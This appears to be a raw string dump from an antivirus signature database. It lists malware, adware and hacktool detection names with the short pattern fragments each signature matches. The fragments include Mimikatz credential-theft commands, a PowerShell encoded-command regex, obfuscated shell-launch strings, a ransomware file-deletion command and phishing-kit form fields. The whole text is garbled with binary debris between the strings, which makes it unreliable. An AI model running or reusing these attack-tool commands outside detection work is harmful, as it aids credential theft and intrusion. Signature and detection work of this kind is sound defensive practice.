:#LOWFI:HSTR:MSIL/Obfuscator.Eazfuscator.NET.AU4 Y#PERSIST:CERT:BrowserModifier:Win32/Diplugem.G Y#PERSIST:CERT:BrowserModifier:Win32/Diplugem.GU4 Y#PERSIST:CERT:BrowserModifier:Win32/Diplugem.C Y#PERSIST:CERT:BrowserModifier:Win32/Diplugem.CU4  Y#Persist:HSTR:TrojanDownloader:Win32/AdStatp.A  Y#Persist:HSTR:TrojanDownloader:Win32/AdStatp.AU4 _#Lowfi:Program:Win32/DesktopTemperatureMonitor _#Lowfi:Program:Win32/DesktopTemperatureMonitorU4_ :#Lowfi:Lua:SuspiciousStackedExtensionsSensor.B :#Lowfi:Lua:SuspiciousStackedExtensionsSensor.BU4_ N#Lowfi:Lua:SuspiciousStackedExtensionsSensor.B N#Lowfi:Lua:SuspiciousStackedExtensionsSensor.BU4 *Y#PERSIST:HSTR:BrowserModifier:Win32/Diplugem.H *Y#PERSIST:HSTR:BrowserModifier:Win32/Diplugem.HU4  *_#LowFi:HSTR:VirTool:Win32/Obfuscator!AddLyrics *_#LowFi:HSTR:VirTool:Win32/Obfuscator!AddLyricsU4 ,jF:#Lowfi:HSTR:MSIL/Obfuscator.CryptoObfuscator.B ,jF:#Lowfi:HSTR:MSIL/Obfuscator.CryptoObfuscator.BU4 tY#PERSIST:CERT:BrowserModifier:Win32/Diplugem.F tY#PERSIST:CERT:BrowserModifier:Win32/Diplugem.FU4 :#Lowfi:Lua:SuspiciousStackedExtensionsSensor.A :#Lowfi:Lua:SuspiciousStackedExtensionsSensor.AU4h Y#PERSIST:HSTR:BrowserModifier:Win32/Diplugem.G Y#PERSIST:HSTR:BrowserModifier:Win32/Diplugem.GU4 Y#PERSIST:HSTR:BrowserModifier:Win32/Diplugem.F Y#PERSIST:HSTR:BrowserModifier:Win32/Diplugem.FU4qT[ :#LOWFI:SIGATTR:Adware:Win32/ElexTechYacNSIS.A1 :#LOWFI:SIGATTR:Adware:Win32/ElexTechYacNSIS.A1U44 :#Lowfi:AGGR:Program:Win32/NSISChecksDeepFreeze :#Lowfi:AGGR:Program:Win32/NSISChecksDeepFreezeU5 :#Lowfi:SIGATTR:BrowserModifier:Win32/Diplugem.A :#Lowfi:SIGATTR:BrowserModifier:Win32/Diplugem.AU5Q _#LOWFI:Lua:ContextualDropFileSkypeDefaultScript _#LOWFI:Lua:ContextualDropFileSkypeDefaultScriptU5 $:#Lowfi:Lua:SuspiciousExeFileInLocalLowAppdata.A ,$:#Lowfi:Lua:SuspiciousExeFileInLocalLowAppdata.AU5 r7QY#Persist:HSTR:TrojanDownloader:Win32/FakeIE!dll r7QY#Persist:HSTR:TrojanDownloader:Win32/FakeIE!dllU5' :#Lowfi:FOPEX:BrowserModifier:Win32/Prifou.A!upd :#Lowfi:FOPEX:BrowserModifier:Win32/Prifou.A!updU6_ Y#PERSIST:Lua:SuspiciousStackedExtensionsSensor.B Y#PERSIST:Lua:SuspiciousStackedExtensionsSensor.BU6 -P:#LOWFI:HSTR:Websites_Found_Download_Bladabindi_A -P:#LOWFI:HSTR:Websites_Found_Download_Bladabindi_AU6 Y#PERSIST:Lua:SuspiciousStackedExtensionsSensor.A Y#PERSIST:Lua:SuspiciousStackedExtensionsSensor.AU6 :#LOWFI:HSTR:SoftwareBundler:Win32/OfferInstaller :#LOWFI:HSTR:SoftwareBundler:Win32/OfferInstallerU7 Y#PERSIST:SIGATTR:BrowserModifier:Win32/Diplugem.A Y#PERSIST:SIGATTR:BrowserModifier:Win32/Diplugem.AU7 :#Lowfi:PEBMPAT:BrowserModifier:Win32/Prifou.A!upd :#Lowfi:PEBMPAT:BrowserModifier:Win32/Prifou.A!updU7 :#LowFi:HSTR:Adware:Win32/Couponarific!Uninstaller :#LowFi:HSTR:Adware:Win32/Couponarific!UninstallerU7f :#Lowfi:PEBMPAT:BrowserModifier:Win32/Prifou.B!upd :#Lowfi:PEBMPAT:BrowserModifier:Win32/Prifou.B!updU8 :#LOWFI:HSTR:SoftwareBundler:Win32/OgimantMailRU.A1 :#LOWFI:HSTR:SoftwareBundler:Win32/OgimantMailRU.A1U8 :#LOWFI:SCPT:Program:Win32/SuperFishz.A1-CrossRider :#LOWFI:SCPT:Program:Win32/SuperFishz.A1-CrossRiderU8yi F_#Tel_BrowserModifier:Win32/PerionSearchProtectVC32 F_#Tel_BrowserModifier:Win32/PerionSearchProtectVC32U8dv :#LOWFI:SCPT:Program:Win32/SuperFishz.A2-CrossRider :#LOWFI:SCPT:Program:Win32/SuperFishz.A2-CrossRiderU8 _#LOWFI:Lua:ContextualDropFileLyncExtNotcategorized _#LOWFI:Lua:ContextualDropFileLyncExtNotcategorizedU8\t8 _#Tel_BrowserModifier:Win32/PerionSearchProtectVC64 _#Tel_BrowserModifier:Win32/PerionSearchProtectVC64U9H $<_#LOWFI:Lua:ContextualDropFileYahooExtNotcategorized $<_#LOWFI:Lua:ContextualDropFileYahooExtNotcategorizedU9}n u_#LOWFI:Lua:ContextualDropFileSkypeExtNotcategorized u_#LOWFI:Lua:ContextualDropFileSkypeExtNotcategorizedU9l :#LOWFI:SIGATTR:Program:Win32/CrossRiderRandomExt.A1 :#LOWFI:SIGATTR:Program:Win32/CrossRiderRandomExt.A1U; Jk:#LOWFI:HSTR:TrojanDownloader:Win32/VitalliaUpd4ter.A1 Jk:#LOWFI:HSTR:TrojanDownloader:Win32/VitalliaUpd4ter.A1U;A0@ _#LOWFI:Lua:ContextualDropFileOutlookExtNotcategorized _#LOWFI:Lua:ContextualDropFileOutlookExtNotcategorizedU<z  :#LOWFI:HSTR:SoftwareBundler:Win32/IBryteDownloaderz.A3  :#LOWFI:HSTR:SoftwareBundler:Win32/IBryteDownloaderz.A3U< W:#LOWFI:HSTR:SoftwareBundler:Win32/IBryteDownloaderz.A2 W:#LOWFI:HSTR:SoftwareBundler:Win32/IBryteDownloaderz.A2U<h a_#LOWFI:Lua:ContextualDropFileLyncDefaultNotcategorized a_#LOWFI:Lua:ContextualDropFileLyncDefaultNotcategorizedU<V :#LOWFI:HSTR:SoftwareBundler:Win32/IBryteDownloaderz.A1 :#LOWFI:HSTR:SoftwareBundler:Win32/IBryteDownloaderz.A1U=^q _#LOWFI:Lua:ContextualDropFileYahooDefaultNotcategorized _#LOWFI:Lua:ContextualDropFileYahooDefaultNotcategorizedU=k nP_#LOWFI:Lua:ContextualDropFileSkypeDefaultNotcategorized nP_#LOWFI:Lua:ContextualDropFileSkypeDefaultNotcategorizedU? _#LOWFI:Lua:ContextualDropFileOutlookDefaultNotcategorized _#LOWFI:Lua:ContextualDropFileOutlookDefaultNotcategorizedU@H @:#LOWFI:HSTR:Program:Win32/DllSecurityEvader_NotInstallMate @:#LOWFI:HSTR:Program:Win32/DllSecurityEvader_NotInstallMateUC :#LOWFI:SIGATTR:TrojanDownloader:Win32/CrossRiderCinemaxYou.A1 :#LOWFI:SIGATTR:TrojanDownloader:Win32/CrossRiderCinemaxYou.A1[  DCO_MpBmDisableHardLink DCO_MpHeartbeatControlGroup DCO_MpValidateCacheEntries DCO_MpMapsHeartbeatDelay !#TELPER:Win32/PCKeeper $PCKeeper Antivirusl> !#ALFPER:ML:Staged:AutoKMSl> tQrx$5 !#ALFPER:ML:Staged:AutoKMSl? !#TELPER:Cert:Win32/DealPlyl? !#TELPER:Cert:Win32/CCSetupxA !#ALFPER:HSTR:Win32/BlackMoon BlackMoon RunTime Error BlackMoon RunTime ErrorxF !#BrowserModifier:Win32/IOBit LIObit_ 0utHomepageForSet 0utHomepageForSetxL !#TELPER:PossibleBrowserCertsModifier CertsFF.dat CertsOP.dat CertsOP.datxM !#TELPER:Crossrider_Updater crupdatedownloader /runupdater /runupdaterxQ !#TELPER:Crossrider_FFInstaller crfirefoxinstaller FirefoxUtils FirefoxUtilsxS !#TELPER:Crossrider_ChromeInstaller crchromeinstaller ChromeUtils ChromeUtilsxU !#TEL:Program:Win32/CouponServer Coupon Server CrossRider CrossRiderxg !#TELPER:LuckyBrowse:Main api.lucky-browse.com/tasks.php?action= LuckyBrowse\\install.dat LuckyBrowse\\install.datxv !#TEL:KlipPalCby:BHO //api  -a.akamaihd.net/gics2 IEClientModule !#TELPER:HSTR:Program:Win32/Orbitum Orbitum Installer/1.0 orbitum.com/xv !#TELPER:Crossrider:CodeDldr crcodedownloader UninstallerOfferUrl ie-code-downloader-error.gif ie-code-downloader-error.gifxx !#HSTR:BrowserModifier:Win32/GoogleToolbarNotifierSWG64 AVProtectorBho@@ SearchWithGooglex !#TEL:HSTR:Program:Win32/Dexon \\W95ws2setup.exe \\Agent.exe /Send Agent.exe dat\\Dexon\\Agent PCUID_countdown \\W95ws2setup.exe\\Agent.exe /SendAgent.exedat\\Dexon\\AgentPCUID_countdownx !#TELPER:DealFinder_Crossrider \\DealFinder by Savings.com-BrowserExtensionUninstall crossrideragentinstallation crossrideragentinstallationx !#HSTR:BrowserModifier:Win32/GoogleToolbarNotifierSWG branches\\protector_release_branch\\ protector\\build\\opt\\obj\\swg protector\\build\\opt\\obj\\swgx !#TELPER:HSTR:Bundler:Win32/PCMega CONTAPRIME /SELECT /IE /FIREFOX /S /OPTIMIZE /PARTNER=vn /CHANNEL=pcdealply panel_deal panel_dealx !#TELPER:Program:Win32/CustPromo ?AUICustomerPromosBHO@@ customerpromos-a.akamaihd.net/CustomerPromox !#TELPER:HSTR:Program:Win32/Yandex vkontakte-dj-elements get_dlg_yandex_setup_bg YABROWSER YELEMENTS !#TELPER:HSTR:Program:Win32/LuckyBrowse mainBinaryRelativePath\":\" \\\\luckybrowse.exe isAddToFirewall\":true mainBinaryAutoRunExecuteCommandLine mainBinaryAutoRunExecuteCommandLinex !#TELPER:HSTR:ChromePluginBypass.B SOFTWARE\\Google\\Update\\ClientState\\{ 2.0-dev-multi-chrome }ap2.0-dev-multi-chrome \\Preferences \\Preferences-install !#TELPER:Program:Win32/DownloadSponsor set_MyDMRConnection /uac.php?clientid= &cid= &source &setupid= !#TEL:HSTR:Win32/CountInstall HasCountInstallation /sethao123homepage /CoolMyMusic /AgencyID /oldversionagentidx !#TELPER:HSTR:Win32/PriceFountain Software\\PriceFountain dll-file-nameprfo.dllbrowser-identifier-ie PriceFountain.netx !#TELPER:CrossriderFramework \\Crossrider Installation failed \\CrossriderInstallation failed crossinstaller err_os_not_supported :yet_another_secret err_extrating_ie_enabler Unmixing err_extrating_ie_enablerUnmixingx !#TEL:Exploit:Win64/DcompBSOD NtDCompositionCreateConnection NtDCompositionDestroyConnection NtDCompositionGetConnectionBatch NtDCompositionBeginFrame NtDCompositionDiscardFrame NtDCompositionConfirmFrame NtDCompositionReleaseAllResources NtDCompositionSuspendAnimations NtDCompositionSuspendAnimations~8 M!#TELPER:NID:Program:Win32/Orbitum !#TEL:HSTR:TrojanDownloader:O97M/Adnel .thisdocument   .readystate .open .status .write !#TEL:AGGR:SchdTaskCmdLineArtifactLua:SchdTaskCmdLineArtifact !#AGGR:JCM_Vampa_GE50AGGR:CombinedJavaClass&Lua:JCM_Vampa:GE50 )!#AGGR:JCM_Vampa_GE50AGGR:CombinedJavaClass&Lua:JCM_Vampa:GE50 !#TEL:AGGR:ESEQ_1.BSCPT:EXPSEQ_1.A|SCPT:EXPSEQ_1.B|SCPT:EXPSEQ_1.C /!#TEL:AGGR:ESEQ_1.BSCPT:EXPSEQ_1.A|SCPT:EXPSEQ_1.B|SCPT:EXPSEQ_1.C !#TEL:DOC/EmbeddedHttpWebvideoInEmail&SCPT:DOC/EmbeddedHttpWebvideo&AGGR:OfficeFile_WordExt =!#TEL:DOC/EmbeddedHttpWebvideoInEmail&SCPT:DOC/EmbeddedHttpWebvideo&AGGR:OfficeFile_WordExt !#TEL:VB/KernelCallViaOrdinalSCPT:VBS/KernelCallViaOrdinal&(SCPT:VBSInside|MHSTR:MacroInside) @!#TEL:VB/KernelCallViaOrdinalSCPT:VBS/KernelCallViaOrdinal&(SCPT:VBSInside|MHSTR:MacroInside) !#TEL:HackTool:Win32/Keygen.GLua:ContextFromWebmail&SuspiciousNFOfilename&SuspiciousKEYGENfilename E!#TEL:HackTool:Win32/Keygen.GLua:ContextFromWebmail&SuspiciousNFOfilename&SuspiciousKEYGENfilename !#TEL:TrojanDownloader:JS/Nemucod.TSGLua:ContextFromWebmail&SCPT:Nemucod_eval&LUA:DoubleDotWsfExtension k%B!#TEL:TrojanDownloader:JS/Nemucod.TSGLua:ContextFromWebmail&SCPT:Nemucod_eval&LUA:DoubleDotWsfExtension !#TEL:TrojanDownloader:JS/Nemucod.ACGLua:ContextFromWebmail&!SCPT:Nemucod_exclusion&Lua:JSExt&TARG:TrojanDownloader:JS/Nemucod %Y!#TEL:TrojanDownloader:JS/Nemucod.ACGLua:ContextFromWebmail&!SCPT:Nemucod_exclusion&Lua:JSExt&TARG:TrojanDownloader:JS/Nemucod !#ALF:SinglePagePDFInEmailInEmail&BM_PDF_FILE&LUA:FileSizeLE80000.A&SCPT:PDF.OnlyOnePage&SCPT:PDF.HasImage&SCRIPT:PDF/Has_Link_URI h!#ALF:SinglePagePDFInEmailInEmail&BM_PDF_FILE&LUA:FileSizeLE80000.A&SCPT:PDF.OnlyOnePage&SCPT:PDF.HasImage&SCRIPT:PDF/Has_Link_URI !#TEL:TrojanDownloader:JS/Nemucod.ACBL %]!#TEL:TrojanDownloader:JS/Nemucod.ACBL RunsDestructiveCMDsParent 8db3102b84dd  209d7fcfa7edf   ReportInternalDetection TYPE_ASYNC_LOWFI edb3e9ab3ed5 \\msert.exe %%common_appdata%% \\ProgramData  GetCommandLineFromService  !#Lua:LessThanTenFilesFoldersInZip   //Lua:MoreThan100FilesFoldersInZip #//Lua:MoreThan100FilesFoldersInZip //Lua:LessThanTenFilesFoldersInZip #//Lua:LessThanTenFilesFoldersInZip 169b3cfa87a96 \\msexchangemailboxreplication.exe \"\\msexchangemailboxreplication.exe \\msexchangedelivery.exe \\msexchangemailboxreplicationworker.exe (\\msexchangemailboxreplicationworker.exe  !#LUA:PowerShellEncodedCommand !#LUA:PowerShellEncodedCommandObMpAttributes encodedcommand ([%w/+=]+) FromEncodedCommand [PSEncodedCommand] %:%:FromBase64String%(%' [PSBase64String] 5f58cb6c155a1 \\data\\exploits\\ metasploit mtk-su cve-20 supersu strace ctssecurity !#Lua:NtdsCleanWriters !#Lua:NtdsCleanWritersObMpAttributes tdb|edb|mdb|dat|ore|pds|sdb|bim|vol|asf|adb|tmp 0tdb|edb|mdb|dat|ore|pds|sdb|bim|vol|asf|adb|tmp catdb|mail.msmessagestore|dhcp.mdb|webcachev01.dat|cachestorage.edb|windowsmail.msmessagestore|defaultstore|actorstatestore|persiststore.edb|imosstore|fs.edb|rm.edb|upgradeservicestore|serverservice.edb|masterservice.edb|6260B5C4| \\webcache\\ \\system32\\logfiles windows\\cryptoguard !#Lua:Virus:Win32/Nabucur   epsec_not_executable no_imports_dir no_iat LoD:Virus:Win32/Nabucur.B LoD:Virus:Win32/Nabucur.C !#Lua:ContextualDropOfficeTmpExe.B   Lua:ContextualDropOfficeTmpExe.B !Lua:ContextualDropOfficeTmpExe.B !#Lua:Context/RightToLeftOverride.gen!D Lua:Context/RightToLeftOverride.DA #Lua:Context/RightToLeftOverride.DA Lua:Context/RightToLeftOverride.DB #Lua:Context/RightToLeftOverride.DB Lua:Context/RightToLeftOverride.DC #Lua:Context/RightToLeftOverride.DC Lua:Context/RightToLeftOverride.DD #Lua:Context/RightToLeftOverride.DD !#Lua:ContextualDropOfficeTmpExe.A   :\\program files\\microsoft office !:\\program files\\microsoft office Lua:ContextualDropOfficeTmpExe.A !Lua:ContextualDropOfficeTmpExe.A 3540b5ded5b2 IsResponse GetRawResponseBlob GetRawRequestBlob SMB(....)[ ]...(....) readu32 !#LUA:PayloadTempDropFile payload.exe !#Lua:DropSuspiciousNonPEFiles Lua:LNKdroppedByProcess Lua:JSdroppedByProcess Lua:VBSdroppedByProcess Lua:COMdroppedByProcess Lua:PSdroppedByProcess d6b37b4917a7 d6b37b4917a7IncludesBMLuaLib -encode  \t-encode  -decode  \t-decode  -urlcache  takari regulatory  !#Lua:TokenRelevanceMetric.A !#Lua:TokenRelevanceMetric.AObMpAttributes \\scans\\ Lua:FileNameTokenRelevanceMetric.A #Lua:FileNameTokenRelevanceMetric.A !#TEL:DefenderTa =[[],[/[!\\#]/g]]; !#SCPT:Exploit:Win32/Pdfjsc.AGC bbb0b`b```g0!w310 !#SCPT:JS/Nemucod.ReturnWscript \"returnws\"+\"cri\"+ !#SCPT:Trojan:VBS/DNSChanger.B1 /chupacabras.php? !#SCPT:Trojan:VBS/DNSChanger.E1 locatef s=\"http !#SCPT:Trojan:VBS/Valyria.A!sl3 functionregexists !#SCRIPT:PSExploitAPIImports.K1 getasynckeystate( !#SCRIPT:PSExploitAPIImports.K2 getkeyboardstate( !#SCRIPT:PoshKeyloggerExclusion ninaronline.co.uk !#SCRIPT:Possible_CSharpPrivate privatestatic !#SCRIPT:PowerShell/Conqerat.C4 =readsmbresponse( !#SCRIPT:PowerShell/Shockley.A2 :userdnsdomain)){ !#SCRIPT:Ransom:PS/Poshkod.S001 =$_.name+'.locky' !#SCRIPT:SuspLnkFromRevobfoos.A cls&cls&cls&start '<-coco8_xxxyou-> !#Scpt:PS:CryptoStreamCreation4 .createdecryptor( !#Trojan:AndroidOS/OpFakeSms.D1 res/raw/bdata.dat !#Trojan:AndroidOS/OpFakeSms.D4 assets/payed.html !#Trojan:HTML/FakeAlert.C!strg4 varphone=\"+1-888-  !#ALFPER:SCRIPT:Win32/Rutspade.A )= !#ALFPER:SCRIPT:Win32/Rutspade.A updatestarrepair  !#BRUTE:SCHTSK:Expert:Feature:38 )= !#BRUTE:SCHTSK:Expert:Feature:38 <waketorun>false  !#BRUTE:SCHTSK:Expert:Feature:41 )= !#BRUTE:SCHTSK:Expert:Feature:41 <actionscontext=  !#Exploit:O97M/DDEDownloader.C.3 )= !#Exploit:O97M/DDEDownloader.C.3  !#SCPT:AutoItApi_AdlibUnRegister )= !#SCPT:AutoItApi_AdlibUnRegister adlibunregister(  !#SCPT:AutoItApi_AutoItSetOption )= !#SCPT:AutoItApi_AutoItSetOption autoitsetoption(  !#SCPT:AutoItApi_ControlGetFocus )= !#SCPT:AutoItApi_ControlGetFocus controlgetfocus(  !#SCPT:AutoItApi_ControlListView )= !#SCPT:AutoItApi_ControlListView controllistview(  !#SCPT:AutoItApi_ControlTreeView )= !#SCPT:AutoItApi_ControlTreeView controltreeview(  !#SCPT:AutoItApi_DllCallbackFree )= !#SCPT:AutoItApi_DllCallbackFree dllcallbackfree(  !#SCPT:AutoItApi_DllStructCreate )= !#SCPT:AutoItApi_DllStructCreate dllstructcreate(  !#SCPT:AutoItApi_DllStructGetPtr )= !#SCPT:AutoItApi_DllStructGetPtr dllstructgetptr(  !#SCPT:AutoItApi_DriveSpaceTotal )= !#SCPT:AutoItApi_DriveSpaceTotal drivespacetotal(  !#SCPT:AutoItApi_FileGetEncoding )= !#SCPT:AutoItApi_FileGetEncoding filegetencoding(  !#SCPT:AutoItApi_FileGetLongName )= !#SCPT:AutoItApi_FileGetLongName filegetlongname(  !#SCPT:AutoItApi_FileGetShortcut )= !#SCPT:AutoItApi_FileGetShortcut filegetshortcut(  !#SCPT:AutoItApi_FileReadToArray )= !#SCPT:AutoItApi_FileReadToArray filereadtoarray(  !#SCPT:AutoItApi_GUICtrlGetState )= !#SCPT:AutoItApi_GUICtrlGetState guictrlgetstate(  !#SCPT:AutoItApi_GUICtrlSetColor )= !#SCPT:AutoItApi_GUICtrlSetColor guictrlsetcolor(  !#SCPT:AutoItApi_GUICtrlSetImage )= !#SCPT:AutoItApi_GUICtrlSetImage guictrlsetimage(  !#SCPT:AutoItApi_GUICtrlSetLimit )= !#SCPT:AutoItApi_GUICtrlSetLimit guictrlsetlimit(  !#SCPT:AutoItApi_GUICtrlSetState )= !#SCPT:AutoItApi_GUICtrlSetState guictrlsetstate(  !#SCPT:AutoItApi_GUICtrlSetStyle )= !#SCPT:AutoItApi_GUICtrlSetStyle guictrlsetstyle(  !#SCPT:AutoItApi_IniWriteSection )= !#SCPT:AutoItApi_IniWriteSection iniwritesection(  !#SCPT:AutoItApi_ProcessGetStats )= !#SCPT:AutoItApi_ProcessGetStats processgetstats(  !#SCPT:AutoItApi_StringTrimRight )= !#SCPT:AutoItApi_StringTrimRight stringtrimright(  !#SCPT:AutoItApi_TrayItemGetText )= !#SCPT:AutoItApi_TrayItemGetText trayitemgettext(  !#SCPT:AutoItApi_TrayItemSetText )= !#SCPT:AutoItApi_TrayItemSetText trayitemsettext(  !#SCPT:AutoItApi_WinGetClassList )= !#SCPT:AutoItApi_WinGetClassList wingetclasslist(  !#SCPT:NemucodQueryStr_blacklist )= !#SCPT:NemucodQueryStr_blacklist /counter/?ad=1ay /counter/?ad=1hi /counter/?id=lrd /counter/?id=lww /counter/?id=y5p )= !#SCPT:PowerShell/EncodedCommand  !#SCPT:Trojan:JS/Obfuse.DRC3!MTB )= !#SCPT:Trojan:JS/Obfuse.DRC3!MTB return\"owe\"+\"rs\"  !#SCPT:Trojan:PHP/Phish.PJS4!MTB )= !#SCPT:Trojan:PHP/Phish.PJS4!MTB cardno:\".$_post[  !#SCPT:Trojan:PHP/Phish.PJS7!MTB )= !#SCPT:Trojan:PHP/Phish.PJS7!MTB atmpin:\".$_post[  !#SCRIPT:CmdFileOutputTaskList.B )= !#SCRIPT:CmdFileOutputTaskList.B tasklist>%temp%\\  !#SCRIPT:JS/MouseEventFunction.A )= !#SCRIPT:JS/MouseEventFunction.A onclick=\"  !#SCRIPT:PowerShell/ObfusNum_IEX )= !#SCRIPT:PowerShell/ObfusNum_IEX 23,5,119,123,102  !#SCRIPT:PowerShell/Poisonweb.A1 )= !#SCRIPT:PowerShell/Poisonweb.A1 $env:tmp\\  .log  !#SCRIPT:PowerShell/PublicStatic )= !#SCRIPT:PowerShell/PublicStatic  !#TrojanDropper:VBS/Bynoco!ptb04 )= !#TrojanDropper:VBS/Bynoco!ptb04 objwshell.rundir !!#ALF:Exploit:Script/Krolly.A!dha )=!!#ALF:Exploit:Script/Krolly.A!dha xdeviceexploit( !!#ALF:Phish:PHP/PhishKitXodni!MTB )=!!#ALF:Phish:PHP/PhishKitXodni!MTB root@indoxploit !!#HackTool:Win32/Mikatz.J!dumcred )=!!#HackTool:Win32/Mikatz.J!dumcred dumpcredentials !!#LowfiTrojan:HTML/Redirector.ZZM )=!!#LowfiTrojan:HTML/Redirector.ZZM g.php?d=x\"></sc !!#SCPT:Exploit:HTML/Axpergle.AK.2 )=!!#SCPT:Exploit:HTML/Axpergle.AK.2 value=\"gvtrvze= )=!!#SCPT:JS/Obfuscator.Redundancy.H )))*1)== )=!!#SCPT:JS/Obfuscator.Split.eval.A \"e\",\"v\",\"a\",\"l\" )=!!#SCPT:JS/Obfuscator.TEMPFolder.A \"%tem\" !!#SCPT:JsMethodFunc_dispatchevent )=!!#SCPT:JsMethodFunc_dispatchevent .dispatchevent( !!#SCPT:JsMethodFunc_getutcminutes )=!!#SCPT:JsMethodFunc_getutcminutes .getutcminutes( !!#SCPT:JsMethodFunc_getutcseconds )=!!#SCPT:JsMethodFunc_getutcseconds .getutcseconds( !!#SCPT:JsMethodFunc_isprototypeof )=!!#SCPT:JsMethodFunc_isprototypeof .isprototypeof( !!#SCPT:JsMethodFunc_localecompare )=!!#SCPT:JsMethodFunc_localecompare .localecompare( !!#SCPT:JsMethodFunc_setutcminutes )=!!#SCPT:JsMethodFunc_setutcminutes .setutcminutes( !!#SCPT:JsMethodFunc_setutcseconds )=!!#SCPT:JsMethodFunc_setutcseconds .setutcseconds( !!#SCPT:JsMethodFunc_toexponential )=!!#SCPT:JsMethodFunc_toexponential .toexponential( !!#SCPT:O97M/ObfShellLaunch.C!amsi )=!!#SCPT:O97M/ObfShellLaunch.C!amsi @pwsh !!#SCPT:Phish:PHP/Url_IndexHtml.GG )=!!#SCPT:Phish:PHP/Url_IndexHtml.GG url=index.html? !!#SCPT:Ransom:BAT/CruelCrypt.Pra3 )=!!#SCPT:Ransom:BAT/CruelCrypt.Pra3 del/s/q*.sister !!#SCPT:Trojan:HTML/Phish.DRD4!MTB )=!!#SCPT:Trojan:HTML/Phish.DRD4!MTB viewpdfdocument !!#SCRIPT:DynamicInvoke_ExecStager )=!!#SCRIPT:DynamicInvoke_ExecStager .executestager( !!#SCRIPT:FlashExp_check_spray_exp )=!!#SCRIPT:FlashExp_check_spray_exp check_spray_exp )=!!#SCRIPT:JS/BlacoleRefLowfi.Frag3 =0;try{;}catch( )=!!#SCRIPT:PowerShell/Invoke-Apex.B invoke-download !!#SCRIPT:PowerShell/Macroburst.J1 )=!!#SCRIPT:PowerShell/Macroburst.J1 get-azvm-status !!#SCRIPT:PowerShell/Macroburst.R2 )=!!#SCRIPT:PowerShell/Macroburst.R2 new-azureaduser !!#SCRIPT:Python/PyInputKeyboard.A )=!!#SCRIPT:Python/PyInputKeyboard.A pynput.keyboard !!#SCRIPT:Trojan:VBS/Startpage.G.2 )=!!#SCRIPT:Trojan:VBS/Startpage.G.2 ifext=\"lnk\"then !!#SCRIPT:Worm:AutoIt/YahLover.R.2 )=!!#SCRIPT:Worm:AutoIt/YahLover.R.2 send(\"^v{enter} !!#Trojan:BAT/CryptReplDow.AE3!MTB )=!!#Trojan:BAT/CryptReplDow.AE3!MTB taskkill/t/f/im \"!#SCPT:GeneralityExploitStrRare.AI )=\"!#SCPT:GeneralityExploitStrRare.AI voucher \"!#SCPT:GeneralityExploitStrRare.AZ )=\"!#SCPT:GeneralityExploitStrRare.AZ spray struct \"!#SCPT:JS/Obfuscator.Decimal.var.A )=\"!#SCPT:JS/Obfuscator.Decimal.var.A 118,97,114,32, )=\"!#SCPT:JS/Obfuscator.InnerScript.F )=\"!#SCPT:JS/Obfuscator.Split.MSXML.A msxm\"+\" \"!#SCPT:JS/Obfuscator.Split.floor.A )=\"!#SCPT:JS/Obfuscator.Split.floor.A flo\"+\"o \"!#SCPT:JS/Obfuscator.hex.WScript.A )=\"!#SCPT:JS/Obfuscator.hex.WScript.A 57736372697074 \"!#SCPT:Phish:PHP/Freakzbrothers.GG )=\"!#SCPT:Phish:PHP/Freakzbrothers.GG freakzbrothers \"!#SCPT:Phish:PHP/PhishPageXodni.B1 )=\"!#SCPT:Phish:PHP/PhishPageXodni.B1 inc/config.php \"!#SCPT:StringConcat!DownloadFile.B )=\"!#SCPT:StringConcat!DownloadFile.B =\"ile('http:// \"!#SCPT:Trojan:HTML/Phish.PYHI2!MTB )=\"!#SCPT:Trojan:HTML/Phish.PYHI2!MTB dhakan:dhakan, \"!#SCPT:Trojan:JS/IFrameXross.A!ib3 )=\"!#SCPT:Trojan:JS/IFrameXross.A!ib3 onload=alert() \"!#SCPT:Trojan:PowerShell/PSImage.D )=\"!#SCPT:Trojan:PowerShell/PSImage.D -bor($p.g-band \"!#SCRIPT:HTML/TechMsgFakeActions.J )=\"!#SCRIPT:HTML/TechMsgFakeActions.J todiagnoseyour \"!#SCRIPT:Worm:JS/Pouteriona_Baslik )=\"!#SCRIPT:Worm:JS/Pouteriona_Baslik var=cek=baslik \"!#TrojanDownloader:JS/Nemucod4!MTB )=\"!#TrojanDownloader:JS/Nemucod4!MTB =\"appendchunk\" \"!#TrojanDownloader:JS/Vjworm.A!al1 )=\"!#TrojanDownloader:JS/Vjworm.A!al1 \"hkcu\\\\vjw0rm\" \"!#TrojanDownloader:JS/Vjworm.A!al3 )=\"!#TrojanDownloader:JS/Vjworm.A!al3 createshortcut \"!#Worm:VBS/Jenxcus.codedbynj!Lowfi )=\"!#Worm:VBS/Jenxcus.codedbynj!Lowfi '<[codedbynj]> #!#SCPT:Backdoor:ASP/Dirtelti.G5!MTB )=#!#SCPT:Backdoor:ASP/Dirtelti.G5!MTB arguments=\"/c #!#SCPT:Backdoor:ASP/Dirtelti.J2!MTB )=#!#SCPT:Backdoor:ASP/Dirtelti.J2!MTB enjoyhacking! #!#SCPT:GeneralityExploitStrCommon.G )=#!#SCPT:GeneralityExploitStrCommon.G typeconfusion #!#SCPT:GeneralityExploitStrCommon.W )=#!#SCPT:GeneralityExploitStrCommon.W )=#!#SCPT:GeneralityExploitStrCommon.X payload )=#!#SCPT:JS/Obfuscator.HexMixed.cmd.A \\u0063\\u006dd \\u0063m\\u0064 c\\u006d\\u0064 )=#!#SCPT:JS/Obfuscator.HexMixed.run.A \\u0052\\u0075n \\u0052u\\u006e r\\u0075\\u006e #!#SCPT:Phish:PHP/Domcheck_AtO365.GG )=#!#SCPT:Phish:PHP/Domcheck_AtO365.GG '@office365.' #!#SCPT:Schopets!ReverseWscriptShell )=#!#SCPT:Schopets!ReverseWscriptShell llehs.tpircsw #!#SCRIPT:Exploit:JS/CVE-2014-4095-5 )=#!#SCRIPT:Exploit:JS/CVE-2014-4095-5 location.href )=#!#SCRIPT:PowerShell/Mikatz!commands kerberos::ptc kerberos::ptt kerberos::tgt sekurlsa::msv sekurlsa::pth sekurlsa::ssp #!#SCRIPT:Ransom:Win32/Stampado_Kill )=#!#SCRIPT:Ransom:Win32/Stampado_Kill taskkill/f/fi )=#!#SCRIPT:Ransom:Win32/Stampado_Name stampado_kill #!#SCRIPT:VirTool:JS/Obfuscator.GO-4 )=#!#SCRIPT:VirTool:JS/Obfuscator.GO-4 varrtwa,rtwb= )=#!#SCRIPT:Worm:Win32/Gamarue.gen!lnk .001,rundll32 .nil,rundll32 .xxc,rundll32 )=#!#Script:Trojan:JS/Certor.A!Taskill #!#Trojan:AutoIt/AgentTesla.SP14!MTB )=#!#Trojan:AutoIt/AgentTesla.SP14!MTB 2022352229\")) #!#TrojanDownloader:VBS/Genbhv.G!gc1 